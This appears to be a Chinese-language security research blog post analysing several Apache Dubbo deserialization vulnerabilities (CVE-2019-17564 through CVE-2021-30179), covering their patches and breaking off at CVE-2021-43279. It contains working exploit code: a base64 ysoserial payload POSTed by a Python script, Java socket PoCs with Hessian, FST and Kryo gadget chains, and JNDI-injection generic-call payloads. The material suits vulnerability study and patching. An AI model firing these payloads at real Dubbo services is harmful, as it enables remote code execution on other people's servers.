Java安全-Dubbo

What is Dubbo

Apache Dubbo 是高性能的Java RPC框架。

RPC

远程过程调用,不同于RMI,一个面向过程,一个面向对象。

服务器A和B分别部署了一个应用,A想调用B的方法,但是它们的部署的应用不在同一个内存空间,就不能直接调用,所以需要通过网络来表达调用的语义和传达的数据。

看一下Dubbo的基本工作原理

中间的通信协议使用dubbo协议。

先分清这几个角色

  • Container 服务运行的容器
  • Provider RPC服务提供方

  • Registry 注册中心

  • Consumer RPC服务消费者

  • Monitor 监控中心

调用关系说明:

首先容器开启并提供RPC服务,然后

  1. 服务提供者在启动时,向注册中心注册自己提供的服务。
  2. 服务消费者在启动时,向注册中心订阅自己所需的服务。

  3. 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。

  4. 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。

  5. 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

Zookeeper

Zookeeper 是Dubbo推荐使用的注册中心,安装参考

https://dubbo.apache.org/zh/docsv2.7/admin/install/zookeeper/

不开启集群

然后开启,Zookeeper注册中心。

分包

分包简单来说就是把服务中需要的接口和模型,以及异常都抽离出来放在一个API包里,这样更方便Consumer和Provider 来实现。

搭建参考

https://github.com/apache/dubbo-samples/

CVE-2019-17564

简述

Apache Dubbo在使用HTTP协议进行通信时,是直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用的,而这个过程会读取POST请求的Body内容并进行反序列化操作,从而导致反序列化漏洞的存在进而RCE。

影响版本

复现分析

https://github.com/apache/dubbo-samples/ 中的 http 来做demo,

再添加一个cc依赖

打开zookeeper 然后运行 httpprovider,

可以看到dubbo的通信协议是http协议。

运行consumer,使用wireshark追一下tcp流

因为直接使用127.0.0.1 ,数据包回环,不经过网卡,简单设置一下路由规则就好。

route add 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
route delete 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1

Content-Type: application/x-java-serialized-object

用来指定java序列化的对象,尝试构造恶意的序列化数据,攻击provider本地的gadgets

java -jar ysoserial.jar CommonsCollections6 calc|base64 -w0

import requests
import base64


url = "http://192.168.1.6:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)

headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)

从报错的调用栈其实就可以知道原因了

org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(RemoteInvocationSerializingExporter.java:147)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:121)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation

这里调用Java原生的反序列化,然后再检查类型抛出异常。

官方也给出了提示,不建议使用httpinvoker来暴露服务。

https://docs.spring.io/spring-framework/docs/5.1.0.RELEASE/spring-framework-reference/integration.html#remoting-httpinvoker

补丁分析

不再使用org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter 作为骨架处理http请求,而是使用com.googlecode.jsonrpc4j.JsonRpcServer ,调用其父类的com.googlecode.jsonrpc4j.JsonRpcBasicServer#handle 方法处理。数据传输使用json 来完成。

CVE-2020-1948

简述

上面的漏洞说到的是dubbo中使用http协议中存在的反序列化问题,此部分则是分析默认的dubbo的原生协议,中存在的反序列化漏洞。

影响版本

2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

https://dubbo.apache.org/zh/docs/references/protocols/,这里介绍了dubbo中支持的所有协议,主要看dubbo://

dubbo协议中使用hessian序列化,所以,重点研究hessian的反序列化问题。

这篇文章中很详细的讲述了Java的序列化和反序列化机制,

https://paper.seebug.org/1131/#hessian_2

Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

当然,这篇文章主要讨论Hessian 的反序列化的问题。

Hessian反序列化占用的空间比JDK反序列化结果小,Hessian序列化时间比JDK序列化耗时长,但Hessian反序列化很快。并且两者都是基于Field机制,没有调用getter、setter方法,同时反序列化时构造方法也没有被调用。

Hessian在基于RPC的调用中性能更好。

https://www.anquanke.com/post/id/197658#h3-3

三梦师傅也很详细的分析了dubbo中hessian反序列化的流程,总结了满足条件的Gadgets

对其整理一下:

  1. 默认dubbo协议+hessian2序列化方式
  2. 序列化tcp包可随意修改方法参数反序列化的class

  3. 反序列化时先通过构造方法实例化,然后在反射设置字段值

  4. 构造方法的选择,只选择花销最小并且只有基本类型传入的构造方法

由此,想要rce,估计得找到以下条件的gadget clain:

  1. 有参构造方法
  2. 参数不包含非基本类型

  3. cost最小的构造方法并且全部都是基本类型或String

环境参考https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-basic

修改 version 添加Rome依赖

先使用demo执行一下rpc调用

可以发现dubbo的协议格式。

https://dubbo.apache.org/zh/docs/concepts/rpc-protocol/#protocol-spec

文档写的很明确,

直接看body部分的序列化部分,

Dubbo version 和 Service name Service version 需要通过数据包可以直接看到,

然后修改指定方法的参数类型为map,加入一个满足条件的Gadgets,

payload如下

使用rome调用getter方法触发jndi注入的链子,

package org.apache.dubbo.samples.basic;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;

import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;


public class TestBasicConsumer {
    public static void main(String[] args) throws Exception{
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8087/xxx");
        rs.setMatchColumn("foo");
        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// header.
        byte[] header = new byte[16];
// set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 2);

// set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

        out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
        out.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
        out.writeUTF("0.0.0");
        out.writeUTF("sayHello");
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
        out.writeUTF("Ljava/util/Map;");
        out.writeObject(s);
        out.writeObject(new HashMap());

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

//todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("192.168.1.4", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

上面的漏洞问题出在哪里?

明明接口方法的参数类型是String,却可以通过协议的漏洞来伪造一个Map类型的恶意类进而触发hashcode或者equals方法的反序列化。

补丁分析

https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

修复方法是加了层判断,

CVE-2020-11995

简述

上面漏洞的绕过版本,根本原因还是考虑泛型调用,兼容性。所以可以修改方法名来绕过达到反序列化的目的,泛型调用下面会说。

影响版本

Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本

poc 就是把上面的方法名换成下面三个任意

补丁分析

https://github.com/apache/dubbo/compare/dubbo-2.7.7...dubbo-2.7.9#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0

又加了判断,

算是没有办法绕过了,此处的参数类型强制指定为泛型调用时的。

CVE-2021-25641

简述

Dubbo服务在没有配置协议的情况下,默认使用dubbo协议,dubbo协议默认使用hessian2进行序列化传输对象。hessian2反序列化只是其中一个攻击面,太局限,而且hessian2可能会提供黑白名单的限制。所以需要尝试扩展攻击面,此漏洞应运而生。

影响版本

基础  dubbo-common <=2.7.3
Dubbo 2.7.0 to 2.7.8
Dubbo 2.6.0 to 2.6.9
Dubbo all 2.5.x versions (not supported by official team any longer)

复现分析

需要添加dubbo-common 依赖,

可以修改dubbo协议的

位来更改序列化方式为Kryo或者FST序列化格式。

通过id索引序列化器,当id为8时使用Kryo,id为9时使用Fst,

kryo 和 fst 的调用链都比较类似,使用map序列化器反序列化时,触发

继而调用hashcode 或者 equals,

dubbo中存在

dubbo-common中又存在fastjson

所以利用链就比较清楚了,结合之前分析的hessian的老五条

使用org.springframework.aop.target.HotSwappableTargetSource#equals -> com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)-> xxxx.toString()

fastjson中 JSONObject 是可以被序列化的,当其显式或隐式被调用toString方法时,会触发绑定对象的getter方法,这算是人尽皆知的事实。

所以结合上面的poc改改就可以了,

package org.apache.dubbo.samples.basic;

import com.alibaba.fastjson.JSONObject;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;

import java.io.ByteArrayOutputStream;

import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

public class FSTTest {

    public static String SerType = "FST";

    public static Object getGadgetsObj(String cmd) throws Exception{
        //Make TemplatesImpl
        Object templates = Utils.createTemplatesImpl(cmd);
        //Make FastJson Gadgets Chain
        JSONObject jo = new JSONObject();
        jo.put("oops",templates);
        return Utils.makeXStringToStringTrigger(jo);
    }

    public static void main(String[] args) throws Exception {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        //Make header
        byte[] header = new byte[16];
        ObjectOutput objectOutput;
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.

        switch (SerType) {
            case "FST":
                objectOutput = new FstObjectOutput(baos);
                header[2] = (byte) ((byte) 0x80 | (byte)9 | (byte) 0x40);
                break;
            case "Kyro":
            default:
                objectOutput = new KryoObjectOutput(baos);
                header[2] = (byte) ((byte) 0x80 | (byte)8 | (byte) 0x40);
                break;
        }
        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        //Genaral ObjectOutput
        objectOutput.writeUTF("2.0.2");
        objectOutput.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
        objectOutput.writeUTF("0.0.0");
        objectOutput.writeUTF("sayHello");
        objectOutput.writeUTF("Ljava/lang/String;"); //*/

        objectOutput.writeObject(getGadgetsObj("calc"));
        objectOutput.writeObject(null);
        objectOutput.flushBuffer();

        //Transform ObjectOutput to bytes payload
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Bytes.int2bytes(baos.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(baos.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //Send Payload
        Socket socket = new Socket("192.168.0.103", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

Utils,借鉴ysoserial.payloads.util.Gadgets

再自行添加一个方法就行

public static Object makeXStringToStringTrigger(Object o) throws Exception {
        XString x = new XString("HEYO");
        return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x));
    }

调用链如下,

FST,

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
instantiate:79, FSTMapSerializer (org.nustaq.serialization.serializers)
instantiateAndReadWithSer:497, FSTObjectInput (org.nustaq.serialization)
readObjectWithHeader:366, FSTObjectInput (org.nustaq.serialization)
readObjectInternal:327, FSTObjectInput (org.nustaq.serialization)
readObject:307, FSTObjectInput (org.nustaq.serialization)
readObject:102, FstObjectInput (org.apache.dubbo.common.serialize.fst)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

Kryo

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

具体细节自行调试。

补丁分析

dubbo-common 2.7.3 的版本中存在kryo 和 fst 的序列化需要的类,

而在 dubbo-common 2.7.4.1 中,这三个包并不存在,

需要自行导入,

但是我发现,并不是dubbo版本 2.7.9以下才会出现漏洞,我在测试了 dubbo 和dubbo-common 2.7.9 2.7.10 漏洞仍然可以触发,

而且也不会被CVE-2020-1948的补丁过滤拦截 ,fastjson 版本也还保持在1.2.46,利用链可以触发。

所以关键因素我觉得仍然是服务端是否允许 kyro 和 fst 这两种序列化方式。

CVE-2021-30179

简述

https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

其中的issue 4就简单介绍了此漏洞原理,

dubbo默认支持泛型调用(https://dubbo.apache.org/en/docs/v2.7/user/examples/generic-reference/),这也就是上面`CVE-2019-17564` 绕过的原因。通过泛型调用provider暴露的接口的时候会使用GenericFilter来处理,RPC attachment 需要指定调用是一个泛型调用,同时可以提供反序列化方式,

影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

,然后通过Java反射完成最后调用。

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

在这里解码的时候

通过读取 attachment,其实这个attachment就是一个map,最后writeObject 进去的,

然后将其和attachments 属性合并,

泛型调用最后会使用,org.apache.dubbo.rpc.filter.GenericFilter#invoke来处理,

这里获取generic,作为反序列化方式的一种判断,

这里提出了三种利用方式,

https://mp.weixin.qq.com/s/vHJpE2fZ8Lne-xFggoQiAg

raw.return

跟进一下,参数 args通过下面的代码来反序列化获取

args = PojoUtils.*realize*(args, params, method.getGenericParameterTypes());

但其实传入的待处理的 args 是我们一开始写入的参数对象,

// 泛型调用第一个参数  方法名
        out.writeUTF("sayHello");
        // 泛型调用第二个参数  参数类型数组
        out.writeObject(new String[] {"java.lang.String"});
        // 泛型调用第三个参数  参数对象
        HashMap jndi = new HashMap();
        jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
        jndi.put("asText", JNDI_URL);
        out.writeObject(new Object[]{jndi});
        // attachment
        HashMap map = new HashMap();
        map.put("generic", "raw.return");
        out.writeObject(map);

POJO 实际上就是一个普通的Java对象,没有实现任何接口和继承,就是单纯单纯单纯,不能用序列化等方式还原,就用到了一些特殊的处理。

org.apache.dubbo.common.utils.PojoUtils#realize0

跟进,这里的 pojo 就是 上次待处理的 args,也就是参数对象。

如果pojo是个map,

就从里面获取"class" 对应的类名,加载进来,如果不是 Map 向下的类型,或者Object,且不是接口,就会实例化,

然后遍历 pojo,通过key来获取加载进来的类的 setter方法和属性,

如果方法存在,那么就对value递归处理,最后反射调用对应的setter方法,

这个过程可以想象成 fastjson 的编组时的行为,作者使用的是org.apache.xbean.propertyeditor.JndiConverter#setAsText

用一个 LinkedHashMap 就可以通过com.sun.rowset.JdbcRowSetImpl#setAutoCommit 来JNDI了,无需加入依赖。

调用栈

connect:634, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
realize0:483, PojoUtils (org.apache.dubbo.common.utils)
realize:211, PojoUtils (org.apache.dubbo.common.utils)
realize:99, PojoUtils (org.apache.dubbo.common.utils)
invoke:91, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [3]
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [2]
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [1]
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

bean

观察一下 bean处理的方式,

需要是一个JavaBeanDescriptor 的实例,

org.apache.dubbo.common.beanutil.JavaBeanDescriptor 这是个什么东西,就是个JavaBean的封装器,

主要有三个属性

classname 表示需要被描述的JavaBean 的类名,type指定描述器的类型,

org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil 反序列化器会根据这些类型进行不同的处理。

properties 本身就是一个有序哈希表,存入属性名和对应的属性值。

继续跟进

org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil#instantiateForDeserialize

通过构造JavaBeanDescriptor时的type

来选择如何根据classname还原一个类,具体细节可以看代码,

核心是org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil#deserializeInternal 类,

下面这个else 分支代表的是BeanType的处理,

}else {
                if (!beanDescriptor.isBeanType()) {
                    throw new IllegalArgumentException("Unsupported type " + beanDescriptor.getClassName() + ":" + beanDescriptor.getType());
                }

                Iterator var15 = beanDescriptor.iterator();

                while(var15.hasNext()) {
                    Entry<Object, Object> entry = (Entry)var15.next();
                    String property = entry.getKey().toString();
                    value = entry.getValue();
                    if (value != null) {
                        if (value instanceof JavaBeanDescriptor) {
                            valueDescriptor = (JavaBeanDescriptor)entry.getValue();
                            value = instantiateForDeserialize(valueDescriptor, loader, cache);
                            deserializeInternal(value, valueDescriptor, loader, cache);
                        }
                        Method method = getSetterMethod(result.getClass(), property, value.getClass());
                        boolean setByMethod = false;

                        try {
                            if (method != null) {
                                method.invoke(result, value);
                                setByMethod = true;
                            }
                        } catch (Exception var12) {
                            LogHelper.warn(logger, "Failed to set property through method " + method, var12);
                        }

可以发现会遍历 properties属性,然后反射获取 对应classname实例的setter方法,对属性进行赋值。

利用其实跟上面那种方式差不多,只不过多了一层封装的操作。

// 泛型调用第三个参数  参数对象
        JavaBeanDescriptor descriptor = new JavaBeanDescriptor("com.sun.rowset.JdbcRowSetImpl",7);
        descriptor.setProperty("class", "com.sun.rowset.JdbcRowSetImpl");
        descriptor.setProperty("dataSourceName", JNDI_URL);
        descriptor.setProperty("autoCommit",true);
        out.writeObject(new Object[]{descriptor});

        // attachment
        HashMap map = new HashMap();
        map.put("generic", "bean");
        out.writeObject(map);

调用栈

connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
deserializeInternal:282, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:215, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:204, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
invoke:115, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

nativejava

UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[])((byte[])args[i]));
Throwable var11 = null;
try {
     args[i] = ((Serialization)ExtensionLoader.getExtensionLoader(Serialization.class).getExtension("nativejava")).deserialize((URL)null, is).readObject();
public NativeJavaObjectInput(InputStream is) throws IOException {
        this(new ObjectInputStream(is));
    }
    public Object readObject() throws IOException, ClassNotFoundException {
        return this.inputStream.readObject();
    }

其实就是使用原生java反序列化,只不过需要参数是byte数组,下面的代码就是生成一个cc6的序列化payload,

// 泛型调用第三个参数  参数对象
        byte[] payload = Serializer.serialize(ObjectPayload.Utils.makePayloadObject("CommonsCollections6","calc"));
        out.writeObject(new Object[]{payload});

        // attachment
        HashMap map = new HashMap();
        map.put("generic", "nativejava");
        out.writeObject(map);
readObject:50, NativeJavaObjectInput (org.apache.dubbo.common.serialize.nativejava)
invoke:98, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

修复

前两种攻击的修复,在加载类前都加入验证

都加入了 SerializeClassChecker.*getInstance*().validateClass(name);

CLASS_DESERIALIZE_BLOCKED_SET 中存在黑名单的验证,封堵了利用链。

对于 nativejava 则从配置文件中判断是否支持Java反序列化,默认为false。

CVE-2021-43279

简述

仍然是默认的 hessian序列化方式,抛出一个非预期的异常时导致了任意代码执行。

影响版本

